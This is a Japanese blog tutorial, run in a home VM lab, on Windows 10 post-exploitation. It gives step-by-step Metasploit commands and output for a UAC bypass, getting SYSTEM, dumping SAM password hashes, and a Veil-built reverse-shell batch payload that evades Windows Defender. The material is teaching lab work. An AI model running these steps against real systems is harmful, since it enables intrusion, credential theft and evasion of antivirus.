LoginSignup
27
24

More than 3 years have passed since last update.

はじめに

株式会社ピー・アール・オーのアドベントカレンダー15日目です。
投稿が遅れてすみません…!!!

本記事は「はじめてのWindows10ハッキング」の続きとなります。
単体で見ても「こんなことができるのか〜」と思っていただけるよう努力しますが、「自分でもやってみたい!」という方は、前回の記事も合わせてどうぞよろしくお願いします。

やること

前回は、VMで作成したターゲット環境(Windows10)に対し、攻撃環境(Kali Linux)からMetasploit Framework(以下、Metasploit)というツールを使用して攻撃、遠隔操作を行ってみました。
今回は、ターゲット端末に侵入した後に行うことの一部を体験してみます。

  • スクリーンショットの撮影
  • SYSTEM権限の取得
  • Windowsのパスワードハッシュを入手する
  • アンチウイルスのウイルス検知を回避する

ここでは、あらかじめMeterpreterセッションが確立している状態であることを前提としております(前回記事「攻撃端末からターゲット端末を制御できるようにする」参照)。

注意!

本記事は不正アクセスを推奨するためのものではありません。
紹介する内容を他人の環境に実行することは絶対にしないでください

検証環境

前回と同じです。

  • ホスト OS: macOS 10.15.2 Beta
  • ゲスト OS
    • 攻撃端末: Kali Linux 5.3.0-kali2-amd64
    • ターゲット端末: Windows10
  • 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)
端末 IPアドレス
Kali Linux(攻撃端末) 10.0.0.2
Windows10(ターゲット端末) 10.0.0.102

スクリーンショットを撮影する

次のコマンドを入力するとターゲット端末で現在表示中の画面を撮影します。

meterpreter > screenshot
Screenshot saved to: /root/ImgBawmm.jpeg

赤枠内がターゲット端末のスクリーンショットです。
スクリーンショット 2019-12-15 16.04.38.png

SYSTEM権限を取得する

管理者権限がないと様々な操作に制限がかかるため、権限を昇格させます。

getsystemコマンドで権限昇格を試みる(失敗)

現在の権限を確認します。

meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa

MeterpreterにはSYSTEM権限への昇格を試みるgetsystemコマンドが用意されていますが、侵入しているユーザーの権限が低いため失敗します。

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)

UAC機能をバイパスするモジュールを試みる

getsystemコマンドが失敗したのは、Windowsのユーザーアカウント制御(UAC)機能によりブロックされたためであり、これを回避するモジュールを探します。

まず、一度Meterpreterプロンプトをバックグラウンドに回し、msfプロンプトに戻ります。

meterpreter > background
[*] Backgrounding session 1..
msf5 exploit(multi/handler) > 

接続中のセッションを確認します

msf5 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F  10.0.0.2:4444 -> 10.0.0.102:50763 (10.0.0.102)

キーワード「bypassuac」でモジュールを検索します。

msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   1   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   2   exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   3   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   4   exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   5   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   6   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   7   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   8   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   9   exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
   10  exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   11  exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   12  exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry

このうち次のモジュールを用い、確立済みのセッションを通じてExploitを送り込みます。

8 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup)

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup   <----入力 モジュールを使用
msf5 exploit(windows/local/bypassuac_silentcleanup) > show targets  <----入力

Exploit targets:

   Id  Name
   --  ----
   0   Microsoft Windows

msf5 exploit(windows/local/bypassuac_silentcleanup) > set TARGET 0   <----入力 ターゲットを設定
TARGET => 0
msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 1   <----入力 セッションを設定
SESSION => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > set payload windows/x64/meterpreter/reverse_tcp   <----入力 対象のペイロードを設定
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_silentcleanup) > set LHOST 10.0.0.2   <----入力 待ち受け先ホストを設定
LHOST => 10.0.0.2
msf5 exploit(windows/local/bypassuac_silentcleanup) > show options   <----入力 設定確認

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION    1                                                        yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.0.2         yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit   <----入力 実行

[*] Started reverse TCP handler on 10.0.0.2:4444 
[+] Part of Administrators group! Continuing...
[*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:50983) at 2019-12-15 18:17:57 +0900

meterpreter >    <--meterpreterプロンプトが返ってきたら成功

再度getsystemで権限昇格を試みる(成功)

meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa   <--実行前は通常ユーザー
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM   <--SYSTEM権限

これでSYSTEM権限を得ることができました。

パスワードハッシュを入手する

SYSTEM権限を取得したあとにできるようになることの一つに、パスワードハッシュの入手があります。入手したハッシュは主にWindowsのパスワード解析に用いられます。
なお、パスワード解析については今回は扱いません。

ローカルアカウントであれば、SAMデータベース("C:¥Windows¥System32¥config¥SAM"ファイル)でログオン認証の管理を行っており、パスワードがハッシュ形式で記録されています。

Metasploitではrun hashdumpコマンドでパスワードハッシュが入手できますが、SYSTEM権限でないとエラーになります。

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d1584c448032fe34d1e8e158d04561ed...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


<パスワードハッシュ>

<パスワードハッシュ>の部分に出力されます。

アンチウイルスを回避する

アンチウイルスによるウイルス検知を回避してMeterpreterセッションを確立します。

Veilでアンチウイルスを回避するペイロードを作成する

Veil Frameworkをインストールする

Veil Framwwork(以下、Veil)アンチウイルスを回避するようなペイロードを生成するツール群です。

VeilはKali Linuxに用意されていないので、別途インストールします。

root@kali:~# apt install veil-evasion

Veilの起動

次のコマンドをKaliにGUIログインした状態で実行します。
途中、依存関係のインストールをしてもいいか聞かれるので、「s」(サイレントモードでインストール)を選択します。

root@kali:~# veil
===============================================================================
                             Veil | [Version]: 3.1.12
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

    2 tools loaded

Available Tools:

    1)  Evasion
    2)  Ordnance

Available Commands:

    exit            Completely exit Veil
    info            Information on a specific tool
    list            List available tools
    options         Show Veil configuration
    update          Update Veil
    use         Use a specific tool

Veil>: 

※SSHログインした状態で実行すると、Wineのインストールでダイアログ失敗してエラーになります。

 [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe).   Run: /usr/share/veil/config/setup.sh --force --silent

Veilでペイロードを作成する

Veilをアップデートする

ウイルス検知と回避の技術は常に更新されていきますので、なるべく回避の成功率をあげるために最新化しておきます。

Veil>: update
Hit:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree       
Reading state information... Done
veil is already the newest version (3.1.12-0kali1).
veil set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 203 not upgraded.


Veil has checked for updates, press enter to continue

ツールを選択する

EvasionとOrdnanceの2つのツールがロードされましたが、ウイルス検知を回避するのでEvasionを選択します。

Veil>: use 1
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Veil-Evasion Menu

    41 payloads loaded

Available Commands:

    back            Go to Veil's main menu
    checkvt         Check VirusTotal.com against generated hashes
    clean           Remove generated artifacts
    exit            Completely exit Veil
    info            Information on a specific payload
    list            List available payloads
    use         Use a specific payload

ペイロードを選択する

一覧からWindows向けリバースシェルである"powershell/meterpreter/rev_tcp.py"を選択します。

Veil/Evasion>: list   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================


 [*] Available Payloads:

    1)  autoit/shellcode_inject/flat.py

    2)  auxiliary/coldwar_wrapper.py
<略>
    22) powershell/meterpreter/rev_tcp.py
<略>
    41) ruby/shellcode_inject/flat.py


Veil/Evasion>: use 22   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 Payload Information:

    Name:       Pure PowerShell Reverse TCP Stager
    Language:   powershell
    Rating:     Excellent
    Description:    pure windows/meterpreter/reverse_tcp stager, no
                    shellcode

Payload: powershell/meterpreter/rev_tcp selected

 Required Options:

Name                Value       Description
----                -----       -----------
BADMACS             FALSE       Checks for known bad mac addresses
DOMAIN              X           Optional: Required internal domain
HOSTNAME            X           Optional: Required system hostname
LHOST                           IP of the Metasploit handler
LPORT               4444        Port of the Metasploit handler
MINBROWSERS         FALSE       Minimum of 2 browsers
MINPROCESSES        X           Minimum number of processes running
MINRAM              FALSE       Require a minimum of 3 gigs of RAM
PROCESSORS          X           Optional: Minimum number of processors
SLEEP               X           Optional: Sleep "Y" seconds, check if accelerated
USERNAME            X           Optional: The required user account
USERPROMPT          FALSE       Window pops up prior to payload
UTCCHECK            FALSE       Check that system isn't using UTC time zone
VIRTUALPROC         FALSE       Check for known VM processes

 Available Commands:

    back            Go back to Veil-Evasion
    exit            Completely exit Veil
    generate        Generate the payload
    options         Show the shellcode's options
    set             Set shellcode option

[powershell/meterpreter/rev_tcp>>]: set LHOST 10.0.0.2   <--入力 攻撃端末を接続先に指定する
[powershell/meterpreter/rev_tcp>>]: options   <--入力 設定確認

<略>

ペイロード作成

genetateコマンドで作成します。

[powershell/meterpreter/rev_tcp>>]: generate   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [>] Please enter the base name for output files (default is payload): evil3   <--入力 ペイロード名を指定する
<略>

exitコマンドでVeilを抜け、作成したペイロードをデスクトップにコピーします。

Veil/Evasion>: exit
root@kali:~# cp /var/lib/veil/output/source/evil3.bat /root/Desktop

Windows Defenderのリアルタイム保護を回避する

Metasploitで作成したペイロードでは、Windowsのリアルタイム保護を無効にしていないと、ダウンロード時、実行時に検知されてセッションを確立できませんが、ここで作成したペイロードは検知されずにダウンロード、実行が可能になります(2019年12月時点)。

ペイロードを外部からダウンロードできるようにする

作成したペイロードを外部からダウンロードできるフォルダに配置し、meterpreterでリバースシェルの待ち受け状態にしておきます。
ペイロードの指定は"windows/meterpreter/reverse_tcp"にします。

root@kali:~# cp /root/Desktop/evil3.bat /var/www/html/share/ 
root@kali:~# service apache2 restart
root@kali:~# msfconsole
<略>
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf5 exploit(multi/handler) > exploit

ペイロードをダウンロードする

ターゲット端末でevil3.batをダウンロードします。この時点ではウイルスとして検知されません。

スクリーンショット 2019-12-16 4.30.36.png

ペイロードを実行する

evil3.batダブルクリックすると警告画面が表示されますが、詳細情報から実行をクリックします。

スクリーンショット 2019-12-16 4.31.32.png

Kali側に反応がありMeterpreterプロンプトが返ってこれば、検知されずにセッションが確立したことになります。
プロンプトが返ってこない場合は、セキュリティソフトのなんらかの機能によりブロックされている可能性があります。

最後に

今回SYSTEM権限の取得でうまくセッションが確立しなかったり、veilが起動しなかったりと結構苦戦しました。
基本的にはコマンド一つでなんでもできるように用意されていて楽だと思った反面、中身がよくわかっていないと、うまくいかないときの対処が難しくなってきたように感じます。
そういう人でも割と簡単に実行できてしまうのも恐ろしいですね。

参考

IPUSIRON『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』翔泳社(amazon)
『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』サポートサイト FAQ

27
24
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
27
24